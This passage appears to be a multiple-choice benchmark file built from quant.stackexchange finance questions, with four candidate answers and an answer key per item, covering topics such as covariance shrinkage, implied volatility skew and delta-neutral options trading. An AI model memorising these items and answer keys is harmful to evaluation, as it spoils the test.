shrink the covariance matrix for portfolio construction or in fact general. Think I missing something. I know if you have 5,000 stocks it's a lot of calculations but if we assume that computing power is not a problem.", "question_score": 26, "question_tags": ["statistics", "portfolio-management", "covariance", "portfolio-optimization"], "choices": {"A": "Have a look at this classic paper: Honey, I Shrunk the Sample Covariance Matrix by O. Ledoit and M. Wolf The abstract answers your question already: The central message of this article is that no one should use the sample covariance matrix for portfolio optimization. It is subject to estimation error of the kind most likely to perturb a mean-variance optimizer. Instead, a matrix can be obtained from the sample covariance matrix through a transformation called shrinkage. This tends to pull the most extreme coefficients toward more central values, systematically reducing estimation error when it matters most. Statistically, the challenge...", "B": "The term has a different meaning to different people. to econometricians, microstructure noise is a disturbance that makes high frequency estimates of some parameters (e.g. realized volatility) very unstable. Generally this strand of the literature professes agnosticism as to the its origin; to market microstructure researchers, microstructure noise is a deviation from fundamental value that is induced by the characteristics of the market under consideration, e.g. bid-ask bounce, the discreteness of price change, latency, and asymmetric information of traders. The last example is frequently cited but I don't think it is accurate. Asymmetric information does not have to be a...", "C": "In my experience, a VaR or CVaR portfolio optimization problem is usually best specified as minimizing the VaR or CVaR and then using a constraint for the expected return. As noted by Alexey, it is much better to use CVaR than VaR. The main benefit of a CVaR optimization is that it can be implemented as a linear programming problem. Another option I have tried is the technique in this paper: http://www.math.uwaterloo.ca/~tfcolema/articles/bank_article.pdf Another option is the two-step heuristic where one first finds the mean-variance efficient frontier and then you could calculate whatever are the relevant portfolio statistics on only the...", "D": "Just to be painfully clear, it only seems to make sense to consider the logarithm of returns, i.e. $X=\\log (1+\\frac r{100})$ for a simple return of $r\\%$ in an arbitrary period because this is what sums when returns are temporally aggregated. A basic property of cumulants is that cumulants of all orders are additive under convolution, for which a proof can be found here here . So if $X_1$, $X_2$, ... $X_n$ are i.i.d. , then all the cumulants of $$Y_n = \\sum_{i=1}^nX_i$$ scale linearly with $n$, i.e. $$\\kappa_k(Y_n)=n\\kappa_k(Y_1).$$ However, I suspect that you are normalizing this sum so that..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/11564/why-shrink-the-covariance-matrix"} {"id": "finance_344", "domain": "finance", "question_title": "What is the implied volatility skew?", "question_body": "I often hear people talking about the skew of the volatility surface, model, etc... but it appears to me that there isn't a clear standard definition unanimously used by practitioners. So here is my question: Does anyone have a clear and unifying definition that can be stated in mathematical terms of what skew is in the context of risk neutral pricing? If not, do you have a set of definitions of the skew with respect to a specific context?", "question_score": 25, "question_tags": ["options", "option-pricing", "implied-volatility", "volatility-skew"], "choices": {"A": "Intro: Great answer given by Kevin. I would like to contribute an additional perspective. My experience with and my understanding of the Risk Neutral measure is entirely based on \"no arbitrage\" and \"replication / hedging\" arguments. The way I would like to explain this view is via the following three-step construction : (i) First, I want to build the intuition with a one-period discrete model: only a single stock and a risk-free account, no derivatives . The aim is to show that even without trying to price derivatives, one can create a mathematical object called a \"risk-neutral probability measure\", just...", "B": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "C": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "D": "Scott Mixon argues in What Does Implied Volatility Skew Measure that among all measures of implied volatility skew, the (25 delta put volatility - 25 delta call volatility)/50 delta volatility is the most descriptive and least redundant (volatility is Black-Scholes implied volatility). His paper, recently published in the Journal of Derivatives , gives a number of both theoretical and empirical arguments in favor of this measure. He distinguishes between \"skew\", which is a measure of the slope of the implied volatility curve for a given expiration date, and \"skewness\", which is the skewness of an option implied, risk neutral probability..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/344/what-is-the-implied-volatility-skew"} {"id": "finance_529", "domain": "finance", "question_title": "How to quickly estimate a lower bound on correlation for a large number of stocks?", "question_body": "I would like to find stock pairs that exhibit low correlation. If the correlation between A and B is 0.9 and the correlation between A and C is 0.9 is there a minimum possible correlation for B and C? I'd like to save on search time so if I know that it is mathematically impossible for B and C to have a correlation below some arbitrary level based on A to B and A to C's correlations I obviously wouldn't have to waste time calculating the correlation of B and C. Is there such a \"law\"? If not, what are other methods of decreasing the search time?", "question_score": 25, "question_tags": ["time-series", "correlation", "numerical-methods"], "choices": {"A": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "B": "Yes, there is such a rule and it is not too hard to grasp. Consider the 3-element correlation matrix $$\\left(\\begin{matrix} 1 & r & \\rho \\\\ r & 1 & c \\\\ \\rho & c & 1 \\end{matrix}\\right)$$ which must be positive semidefinite . In simpler terms, that means all its eigenvalues must be nonnegative. Assuming that $\\rho$ and $r$ are known positive values, we find that the eigenvalues of this matrix go negative when \\begin{equation} c Therefore the right hand side of this expression is the lower bound for the AC correlation $c$ that you seek, with $\\rho$ being...", "C": "It is hard to find a stable non-trivial dependence structure in financial data. Usually when such is found it is hard to rationalize. One of my favorite (although I am sure there are others) is the so called \"Presidential Puzzle\". This is an old finding by Santa-Clara and Valkanov (2003) They find that \" Excess return in the stock market is higher under Democratic than Republican presidencies: 9 percent for the value‐weighted and 16 percent for the equal‐weighted portfolio. At the time the finding was very robust and did not seem to be explained by anything else. What is more...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/529/how-to-quickly-estimate-a-lower-bound-on-correlation-for-a-large-number-of-stock"} {"id": "finance_10401", "domain": "finance", "question_title": "What is the necessary level of Econometrics-Know-How for a quant", "question_body": "It seems quants increasingly use econometric models at work. As someone who has sold his soul to probability theory and stochastical analysis I would like to catch up. What are the econometric tools a quant should be able to wield ? As I see it, the answer will be highly dependant on where one works. Thus perhaps it would make sense to distinguish: Buy side Sell side Fixed Income Equity Risk Management and Model Validation Book suggestions that cover the necessary knowledge will be appreciated. Also, if someone feels like it, a list of topics (e.g. ARCH, GARCH etc.) would also be very helpful.", "question_score": 25, "question_tags": ["risk-models", "econometrics", "quants"], "choices": {"A": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and...", "B": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "C": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/10401/what-is-the-necessary-level-of-econometrics-know-how-for-a-quant"} {"id": "finance_17859", "domain": "finance", "question_title": "Why dynamics of local volatility is wrong?", "question_body": "In Dupire's local volatility model, the volatility is is a deterministic function of the underlying price and time, chosen to match observed European option prices. To be more specific, given a smooth surface $(K,T)\\mapsto C(K,T)$ where K is the strike and T is time to maturity. Dupire equation implies that there exits an unique continuous function $\\sigma_{loc}$ defined by $$\\sigma_{loc}^{2}(K,T)=\\frac{\\partial_{T}C(K,T)+rK\\partial_{K}C(K,T)}{\\frac{1}{2}K^{2}\\partial_{KK}C(K,T)}$$ for all $(K,T)\\in(0,\\infty)\\times(0,\\infty)$ such that the solution to the stochastic differential equation $dS_{t}/S_{t}=rdt+\\sigma(t,S_{t})dW_{t}$ exactly generates the European call option prices. What do the dynamics of the local volatility mean? Are dynamics equivalent to the volatility surface? Why the dynamics of local volatility model is highly unrealistic?", "question_score": 25, "question_tags": ["local-volatility", "dynamic"], "choices": {"A": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "B": "A general model (with continuous paths) can be written $$ \\frac{dS_t}{S_t} = r_t dt + \\sigma_t dW_t^S $$ where the short rate $r_t$ and spot volatility $\\sigma_t$ are stochastic processes. In the Black-Scholes model both $r$ and $\\sigma$ are deterministic functions of time (even constant in the original model). This produces a flat smile for any expiry $T$. And we have the closed form formula for option prices $$ C(t,S;T,K) = BS(S,T-t,K;\\Sigma(T,K)) $$ where $BS$ is the BS formula and $\\Sigma(T,K) = \\sqrt{\\frac{1}{T-t}\\int_t^T \\sigma(s)^2 ds}$. This is not consistent with the smile observed on the market. In order to match...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/17859/why-dynamics-of-local-volatility-is-wrong"} {"id": "finance_36400", "domain": "finance", "question_title": "Avellaneda -Stoikov market making model", "question_body": "I am reading paper High-frequency trading in a limit order book by Marco Avellaneda and Sasha Stoikov. At the end of the paper they obtain a closed-form solution to the optimal market-maker quotes under diffusion without drift. They found that the optimal behaviour of the market-maker would be to set a bid/ask spread of size: $$ spread = \\gamma\\sigma^2(T-t) + \\frac{2}{\\gamma}ln(1+\\frac{\\gamma}{k}), $$ where $\\gamma$ is a discount factor, $\\sigma^2$ is the variance of the process, $k$ is the parameter corresponing to the intensity of arrival of market orders, $T$ is terminal time and $t$ is curent time, around a reservation price given by: $$ price = s - q\\gamma\\sigma^2(T-t), $$ where $q$ is the state of the inventory and $s$ is the current price. However, I do not see any specification of bounds for this reservation price and therefore I think there is no guarantee that ask prices computed by the market-maker will be higher or bid prices will be lower than the current price of the process. | How is this necessity of market makers' ask prices being higher and bid prices being lower than the actual price enforced in their model (e.g. in their simulations)? Edit : To be more concrete, I just specify, that in my opinion, it needs to hold that: $$ price + spread/2 - s > 0 $$ Lets denote $price$ by $p_{mm}$ and $spread/2$ by $s_{mm}$ . Then $$ p_{mm} + s_{mm} - s > 0, \\\\ s - q\\gamma\\sigma^2(T-t) + \\frac{\\gamma\\sigma^2(T-t)}{2} + \\frac{1}{\\gamma}ln(1+\\frac{\\gamma}{k}) - s >0 \\\\ (...) \\\\ \\frac{1}{2} + \\frac{ln(1+\\frac{\\gamma}{k})}{\\gamma^2\\sigma^2(T-t)} > q $$ However, this situation does not need to happen, so there is no guarantee he will set prices compatible with current market prices.", "question_score": 25, "question_tags": ["high-frequency", "market-making"], "choices": {"A": "The market-maker makes a bid-ask spread $\\delta$ around the reservation price $r$. So at any time, the market-maker quotes the bid price $$ p_b = r - \\delta/2, $$ and the ask price $$ p_a = r + \\delta/2. $$ Bid price is hence always below the reservation price and ask price is always above the reservation price. The reservation price $$ r = s - q\\gamma\\sigma^2(T-t) $$ is the market price minus a term that depends on the inventory $q$ that the market-maker is holding. If $q$ is positive the reservation price moves lower (below the market price) and...", "B": "The lead paper in the January 2011 Journal of Finance ( Hendershott, Jones, and Menkveld ) addresses algorithmic trading (AT). In short, they find that AT improves liquidity as measured by bid-offer spreads. Taking the econometrics as correct (it is in the Journal of Finance) the next question is if bid-offer spreads are a sufficient statistic for measuring liquidity (or any other benefits). It is a difficult question to answer because, given current market structure, AT may improve liquidity (as measured by bid-offer spreads), but without data on other market structures, it is hard to say that we wouldn't better...", "C": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "D": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/36400/avellaneda-stoikov-market-making-model"} {"id": "finance_96", "domain": "finance", "question_title": "What is a "coherent" risk measure?", "question_body": "What is a coherent risk measure, and why do we care? Can you give a simple example of a coherent risk measure as opposed to a non-coherent one, and the problems that a coherent measure addresses in portfolio choice?", "question_score": 24, "question_tags": ["risk", "modern-portfolio-theory", "coherent-risk-measure"], "choices": {"A": "I'm just providing a global answer to the question, as I think it can be interesting for some beginners in quant finance. The properties given by TheBridge: Normalize $\\rho (\\emptyset)=0$ This means you have no risk in taking no position. Sub-addiitivity $\\rho(A_1+A_2) \\leq \\rho(A_1)+\\rho(A_2)$ Having a position in two different can only decrease the risk of the portfolio (diversification) Positive homogeneity $\\rho(\\lambda A) = \\lambda \\rho(A)$ Doubling a position in an asset A doubles your risk. And finally, Translation invariance $\\rho(A + x) = \\rho(A)-x$ That is, adding cash to a portfolio only diminishes the risk. So a risk-measure is...", "B": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "C": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "D": "I would offer the distinctions are i) pure statistical approach, ii) equilibrium based approach, and iii) empirical approach. The statistical approach includes data mining. Its techniques originate in statistics and machine learning. In its extreme there is no a priori theoretical structure imposed on asset returns. Factor structure might be identified thru Principal Components, for example. The goal here is to maximize predictive accuracy at the expense of intuition and explanatory power. This approach increasingly dominates at very short frequencies in modeling market microstructure, market making algorithms, volatility modeling, etc. However, even in high-frequency trading one can impose a factor..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/96/what-is-a-coherent-risk-measure"} {"id": "finance_334", "domain": "finance", "question_title": "Does mean-variance portfolio optimization provide a real edge to those who use it?", "question_body": "Mean-variance optimization (MVO) is a 50+ year concept, and perhaps the first seminal idea of quantitative finance. Still, as far as I know, less than 25% of AUM in the US is quantitatively managed. While a small minority of fundamental managers use MVO, that is counterbalanced by statistical arbitrage and HF strategies that often use optimization but not MVO, so the percentage of AUM not allocated using Markowitz' invention is surely not less than 70%. My questions: if MVO is such a great idea, why after all this time, so few people use it? if MVO was such a bad idea, how come companies like Axioma, Northfield and Barra still make money off it? is there there a rationale for the current mixed equilibrium of users and non-users? A few caveats on what I just said: i) perhaps the first and most important idea in finance is that of state-contingent assets, which is Arrow's; ii) I am focused on the buy side. I believe that optimization is widely used for hedging on the sell side.", "question_score": 24, "question_tags": ["mean-variance", "optimization"], "choices": {"A": "I would offer the distinctions are i) pure statistical approach, ii) equilibrium based approach, and iii) empirical approach. The statistical approach includes data mining. Its techniques originate in statistics and machine learning. In its extreme there is no a priori theoretical structure imposed on asset returns. Factor structure might be identified thru Principal Components, for example. The goal here is to maximize predictive accuracy at the expense of intuition and explanatory power. This approach increasingly dominates at very short frequencies in modeling market microstructure, market making algorithms, volatility modeling, etc. However, even in high-frequency trading one can impose a factor...", "B": "Hey, it's early days yet. After all it is still called MODERN portfolio theory. I think there are two main issues and they are both really cultural: 1) specifying alphas 2) wild results Alphas I agree with Gappy that alphas are the key thing you need to have effectiveness (unless you are doing minimum variance). Having a vector of expected returns is quite a natural thing for quant managers. But it is something foreign to fundamental managers. They have to map their views into a number for each asseet in the universe. That is not necessarily an easy task, and...", "C": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/334/does-mean-variance-portfolio-optimization-provide-a-real-edge-to-those-who-use-i"} {"id": "finance_1114", "domain": "finance", "question_title": "Why are options trades supposed to be delta-neutral?", "question_body": "I'm reading Natenberg's book, and he says that all options trades should be delta neutral. I understand that this prevents small changes in the underlying price from changing the price of the option, but couldn't there be a case where you would want that? I (think I) also understand that if you're betting against just volatilty, it would make sense, since you don't care what direction the underlying price moves, but I don't entirely understand why he says all options trades should be delta neutral.", "question_score": 24, "question_tags": ["options", "delta-neutral"], "choices": {"A": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "B": "Scott Mixon argues in What Does Implied Volatility Skew Measure that among all measures of implied volatility skew, the (25 delta put volatility - 25 delta call volatility)/50 delta volatility is the most descriptive and least redundant (volatility is Black-Scholes implied volatility). His paper, recently published in the Journal of Derivatives , gives a number of both theoretical and empirical arguments in favor of this measure. He distinguishes between \"skew\", which is a measure of the slope of the implied volatility curve for a given expiration date, and \"skewness\", which is the skewness of an option implied, risk neutral probability...", "C": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "D": "I haven't read Natenberg but it of course depends on your side in the trade: Are you a market maker or a risk taker? So do you live on the spread (first) or are trying to make money based on e.g. forecasts on direction (second). This is the great divide in QuantFinance! Only in the first case will all your option trades be delta neutral. There is a nice short paper which elaborates on both concepts (it calls the first one Q and the second P ): Meucci: 'P' Versus 'Q': Differences and Commonalities between the Two Areas of Quantitative..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1114/why-are-options-trades-supposed-to-be-delta-neutral"} {"id": "finance_3284", "domain": "finance", "question_title": "Is "eoddata" a good data source?", "question_body": "Not sure if this is a relevant question for site, but I am looking to move to www.eoddata.com as my data source. If anyone has used it, can you tell me how the data quality is ? I am currently parsing yahoo for my prices but its not a very efficient process. What are the other sources of equity data out there ( affordable for retail investors like me) ? I am willing to pay \\$250-\\$300 per year for it.", "question_score": 24, "question_tags": ["data", "market-data"], "choices": {"A": "Yahoo rounds the adjusted price to 2 decimals even though dividend amounts often have 3 decimal places. Since they apply the adjustment formula to adjusted prices, if you go far enough back in time, the value they give for Adjusted Price will be different than it would be if there were no rounding. edit: For example, for C (Citigroup), on January 2, 1990, Yahoo gives a close value of 29.37 and an Adjusted value of 1.50. Using the dividend data that Yahoo supplies, if they didn't round to cents on every adjustment, the adjusted value would be 1.677.", "B": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "C": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "D": "From my experience, EODData is pretty much that you get what you pay for. Its not a very sophisticated product. They email you the files you subscribe to, and thats that. I have had an issue before of where the emails didn't go through anymore and I never heard anything from them. On Quality, I can't make a claim on its accuracy. It seems good. I find issue with three things about the data: There is no way to signal an exchange change It doesn't give you an easy way to grab the symbol info [Names, etc] If there is..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/3284/is-eoddata-a-good-data-source"} {"id": "finance_54362", "domain": "finance", "question_title": "Did Citigroup really fail three times in the last 40 years?", "question_body": "I watched a speech by Simon Johnson at UCSB and, at one point, he claimed that Citigroup has failed three times since the 1980s. For example, he claims that Citigroup failed and was saved by the government in 1982 because of \"bad loans made in emerging markets\". The second such failure is at the end of the 1980s because of \"bad loans to commercial real estate\". The third is of course the 2008/2009 financial crisis. What strikes me as odd is that the first two alleged failures are not mentioned in Wikipedia on Citigroup ! He doesn't appear to me as a crackpot as he is the former chief economist of IMF and effective whitewashing of the US's biggest bank holding company on Wikipedia is as unlikely. Does anyone know what affairs is he referencing?", "question_score": 24, "question_tags": ["banks"], "choices": {"A": "(I worked there for 23 years.) Simon Johnson is correct. Citi (or its predecessors) was insolvent on those 3 occasions, and would have gone into liquidation without the bailouts by U.S. taxpayers.", "B": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "C": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "D": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/54362/did-citigroup-really-fail-three-times-in-the-last-40-years"} {"id": "finance_14", "domain": "finance", "question_title": "What is the "delta" option quoting convention about?", "question_body": "At my work I often see option prices or vols quoted against deltas rather than against strikes. For example for March 2013 Zinc options I might see 5 quotes available for deltas as follows: ZINC MARCH 2013 OPTION DELTA -10 POINTS ZINC MARCH 2013 OPTION DELTA -25 POINTS ZINC MARCH 2013 OPTION DELTA +10 POINTS ZINC MARCH 2013 OPTION DELTA +25 POINTS ZINC MARCH 2013 OPTION DELTA +50 POINTS The same 5 values -10, -25, +10, +25, + 50 are always used. What are these deltas? What are the units? Why are those 5 values chosen?", "question_score": 23, "question_tags": ["options", "greeks"], "choices": {"A": "Delta is the partial derivative of the value of the option with respect to the value of the underlying asset. An option with a delta of 0.5 (here listed as +50 points) goes up \\$0.50 if the underlying asset goes up \\$1.00. Or goes down \\$0.50 if the underlying asset goes down \\$1.00. Keep in mind that delta is an instantaneous derivative, so the value will change both in time (charm is the change in delta with time) and with changes in value of the underlying asset (gamma is the change in delta with the underlying asset, which is also...", "B": "Scott Mixon argues in What Does Implied Volatility Skew Measure that among all measures of implied volatility skew, the (25 delta put volatility - 25 delta call volatility)/50 delta volatility is the most descriptive and least redundant (volatility is Black-Scholes implied volatility). His paper, recently published in the Journal of Derivatives , gives a number of both theoretical and empirical arguments in favor of this measure. He distinguishes between \"skew\", which is a measure of the slope of the implied volatility curve for a given expiration date, and \"skewness\", which is the skewness of an option implied, risk neutral probability...", "C": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "D": "VIX is a measure of implied volatility , specifically, model-free implied volatility , a concept originally developed by Demeterfi et. al. at Goldman Sachs in the 1990s . One of my recent questions, How to extrapolate implied volatility for out of the money options? , addressed some aspects of MFIV, and the papers mentioned in the question and answers will give you some more background on the concept. Also check out this JPMorgan research piece . The VIX is the square root of the market-implied variance swap rate, calculated based on the exchange-traded options portfolio typically used to hedge an..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/14/what-is-the-delta-option-quoting-convention-about"} {"id": "finance_121", "domain": "finance", "question_title": "How do you evaluate a covariance forecast?", "question_body": "Suppose you have two sources of covariance forecasts on a fixed set of $n$ assets, method A and method B (you can think of them as black box forecasts, from two vendors, say), which are known to be based on data available at a given point in time. Suppose you also observe the returns on those $n$ assets for a following period (a year's worth, say). What metrics would you use to evaluate the quality of these two covariance forecasts? What statistical tests? For background, the use of the covariances would be in a vanilla mean-variance optimization framework, but one can assume little is known about the source of alpha. edit : forecasting a covariance matrix is a bit different, I think, than other forecasting tasks. There are some 